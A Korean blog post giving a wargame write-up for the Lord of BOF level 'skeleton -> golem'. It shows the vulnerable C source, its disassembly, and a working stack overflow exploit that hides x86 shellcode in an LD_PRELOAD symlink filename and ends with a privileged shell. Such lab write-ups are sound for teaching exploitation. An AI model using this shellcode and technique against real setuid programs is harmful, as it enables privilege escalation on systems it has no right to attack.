[lob] skeleton -> golem

2022. 9. 14. 15:25·Wargame/Hackerchool
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

아래가 추가되었으며, stack의 가장 마지막까지 초기화해버린다.

a0x80484f6 <main+134>:   lea    0xffffffd8(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x80484f9 <main+137>:   mov    $0xbfffffcf,%edx
0x80484fe <main+142>:   mov    %edx,%ecx
0x8048500 <main+144>:   sub    %eax,%ecx
0x8048502 <main+146>:   mov    %ecx,%eax
0x8048504 <main+148>:   push   %eax
0x8048505 <main+149>:   push   $0x0
0x8048507 <main+151>:   lea    0xffffffd8(%ebp),%eax
0x804850a <main+154>:   lea    0x30(%eax),%edx
0x804850d <main+157>:   push   %edx
0x804850e <main+158>:   call   0x8048398 <memset>

 

3. 취약점 확인 및 공격 준비

3.1 취약점

마찬가지이다.

 

3.2 공격 준비

개인적으로 가장 싫었던 문제.

대부분의 영역을 초기화해버리는데 여전히 return address의 시작 지점은 0xbf 여야 한다.

어디에 어떤 값이 들어가있기에 이렇게 집착할까.

정답은 환경변수이며, 그 중에서도 LD_PRELOAD이다.

이 환경 변수에 값이 삽입되면 환경변수를 초기화 하더라도 stack에 값이 남는다.

 

다만, LD_PRELOAD에 직접적으로 shellcode를 삽입하면 파일 실행 시 이를 참조하려 하기에 불가하며,

[skeleton@localhost skeleton]$ `python -c 'print "export LD_PRELOAD=" + "\x90"*0x100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
[skeleton@localhost skeleton]$ gdb golea
gdb: error in loading shared libraries: ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
          ̀: cannot open shared object file: Error 36

기존의 ld file을 symbolic link하며 파일 명을 shellcode로 사용해보자.

[skeleton@localhost skeleton]$ ln -s /lib/libc.so.6 `python -c 'print "A"*0x30 + "\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[skeleton@localhost skeleton]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1▒P▒..shf???P▒.bin??P?▒1▒P?▒S?▒?▒?
golea
golem
golem.c

이후 gdb로 해당 문자열이 삽입되어있는지 확인해보자.

(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/skeleton/golea `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

Breakpoint 1, 0x8048516 in main ()

 

차근차근 높은 주소부터 낮은 주소로 이동하며 찾아보다가 아래와 같이 발견하였다.

(gdb) x/40x $esp-1100
0xbffff600:     0x00000001      0x40000824      0xbffff614      0xbffff7b4
0xbffff610:     0x4000377b      0x40007599      0x40013868      0xbffff7b4
0xbffff620:     0x4000380e      0x40014438      0x6d6f682f      0x6b732f65
0xbffff630:     0x74656c65      0x412f6e6f      0x41414141      0x41414141
0xbffff640:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff660:     0x41414141      0x31414141      0x2eb850c0      0x6668732e
0xbffff670:     0x50010105      0x69622eb8      0x5001046e      0xc031e389
0xbffff680:     0x53e28950      0x0bb0e189      0x400080cd      0x40013868
0xbffff690:     0x4000220c      0xbffffbb5      0x00000000      0x00000000

 

4. exploit

위를 토대로 아래와 같이 페이로드를 작성하였다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44 + "\x40\xf6\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@▒▒▒
Segmentation fault
[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44 + "\x50\xf6\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee

 

 

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Hackerchool' 카테고리의 다른 글

[lob] darkknight -> bugbear  (0) 2022.09.15
[lob] golem -> darkknight  (0) 2022.09.15
[lob] vampire -> skeleton  (0) 2022.09.13
[lob] troll -> vampire  (0) 2022.09.13
[lob] orge -> trol  (0) 2022.09.13
'Wargame/Hackerchool' 카테고리의 다른 글
  • [lob] darkknight -> bugbear
  • [lob] golem -> darkknight
  • [lob] vampire -> skeleton
  • [lob] troll -> vampire
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    64bit
    vtable
    Format String Bug
    RTL
    la ctf
    hackerschool
    lob
    ROOT ME
    tcache
    cryptohack
    dreamhack
    pwnable.kr
    CANARY
    phoenix
    root-me
    x64
    libc
    rop
    32bit
    docker
    root
    Me
    Buffer Overflow
    BOF
    FSB
    pwntools
    exploit education
    heap
    x86
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[lob] skeleton -> golem
상단으로

티스토리툴바